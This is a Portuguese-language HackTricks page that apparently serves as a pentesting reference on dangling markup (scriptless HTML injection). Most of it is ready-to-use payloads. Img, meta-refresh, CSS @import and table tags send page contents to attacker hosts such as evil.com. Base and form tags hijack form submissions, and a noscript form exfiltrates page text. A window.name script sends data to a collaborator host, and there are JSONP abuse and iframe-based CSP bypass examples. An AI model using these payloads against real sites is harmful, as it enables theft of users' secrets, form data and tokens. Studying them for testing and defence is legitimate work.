14 KiB
Dangling Markup - HTML scriptless injection
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Resumo
Essa técnica pode ser usada para extrair informações de um usuário quando uma injeção HTML é encontrada. Isso é muito útil se você não encontrar nenhuma maneira de explorar um XSS mas puder injetar algumas tags HTML.
Também é útil se algum segredo estiver salvo em texto claro no HTML e você quiser exfiltrá-lo do cliente, ou se quiser enganar a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas Políticas de Segurança de Conteúdo extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
Principais Aplicações
Roubo de segredos em texto claro
Se você injetar <img src='http://evil.com/log.cgi?
quando a página é carregada, a vítima enviará todo o código entre a tag img
injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
Se a tag img
for proibida (devido a CSP, por exemplo), você também pode usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Note que o Chrome bloqueia URLs HTTP com "<" ou "\n" nele, então você pode tentar outros esquemas de protocolo como "ftp".
Você também pode abusar do CSS @import
(irá enviar todo o código até encontrar um ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Você também pode usar <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Você também pode inserir uma tag <base
. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, pois a tag base terá alterado o domínio apontado pelo link):
<base target=' <--- Injected
steal me'<b>test</b>
Roubo de formulários
<base href='http://evil.com/'>
Em seguida, os formulários que enviam dados para o caminho (como <form action='update_profile.php'>
) enviarão os dados para o domínio malicioso.
Roubo de formulários 2
Defina um cabeçalho de formulário: <form action='http://evil.com/log_steal'>
isso irá sobrescrever o próximo cabeçalho do formulário e todos os dados do formulário serão enviados para o atacante.
Roubo de formulários 3
O botão pode alterar o URL para onde as informações do formulário serão enviadas com o atributo "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Um atacante pode usar isso para roubar as informações.
Encontre um exemplo desse ataque neste artigo.
Roubo de segredos em texto claro 2
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
<input type='hidden' name='review_body' value="
e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e as próximas aspas duplas no HTML. Este ataque mistura "Roubo de segredos de texto claro" com "Roubo de formulários2".
Você pode fazer a mesma coisa injetando um formulário e uma tag <option>
. Todos os dados até encontrar um </option>
fechado serão enviados:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injeção de parâmetro de formulário
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja realizada:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Roubo de segredos em texto claro via noscript
<noscript></noscript>
é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar o Javascript no Chrome em chrome://settings/content/javascript).
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar isso:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP com interação do usuário
A partir dessa pesquisa da portswiggers você pode aprender que mesmo nos ambientes mais restritos pelo CSP ainda é possível exfiltrar dados com alguma interação do usuário. Nesta ocasião, vamos usar o payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Note que você vai pedir à vítima para clicar em um link que irá redirecioná-la para um payload controlado por você. Também observe que o atributo target
dentro da tag base
conterá conteúdo HTML até a próxima aspa simples.
Isso fará com que o valor de window.name
se o link for clicado seja todo esse conteúdo HTML. Portanto, como você controla a página para onde a vítima está acessando ao clicar no link, você pode acessar esse window.name
e extrair esses dados:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Ataque de namespace HTML enganoso 1
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Fluxo de script enganoso 2 - Ataque de namespace de script
Crie variáveis dentro do namespace javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abuso de JSONP
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ou até mesmo tentar executar algum javascript:
<script src='/search?q=a&call=alert(1)'></script>
Uso indevido de Iframe
Um documento filho possui a capacidade de visualizar e modificar a propriedade location
de seu pai, mesmo em situações de origens cruzadas. Isso permite a incorporação de um script dentro de um iframe que pode redirecionar o cliente para uma página arbitrária:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Isso pode ser mitigado com algo como: sandbox=' allow-scripts allow-top-navigation'
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente usando o atributo de nome do iframe. Isso ocorre porque você pode criar um iframe que se auto-iframe abusando da injeção de HTML que faz com que as informações sensíveis apareçam dentro do atributo de nome do iframe e então acessar esse nome do iframe inicial e vazá-lo.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Para mais informações, consulte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abuso de <meta
Você pode usar meta http-equiv
para realizar várias ações como definir um Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou realizar um redirecionamento (em 5s neste caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Isso pode ser evitado com um CSP relacionado ao http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Novo tag HTML <portal
Você pode encontrar uma pesquisa muito interessante sobre vulnerabilidades exploráveis da tag <portal aqui.
No momento desta escrita, você precisa habilitar a tag portal no Chrome em chrome://flags/#enable-portals
ou não funcionará.
<portal src='https://attacker-server?
Vazamentos de HTML
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Vazamentos SS
Este é uma mistura entre dangling markup e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem da que estaremos atacando. Por outro lado, não iremos atacar diretamente a página onde podemos injetar HTML, mas sim outra página.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search é orientado para exfiltrar informações de origens cruzadas abusando de ataques de canal lateral. Portanto, é uma técnica diferente do Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como Injeção de CSS ou Carregamento Preguiçoso de Imagens.
{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}
Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Referências
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Obtenha o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud github repos.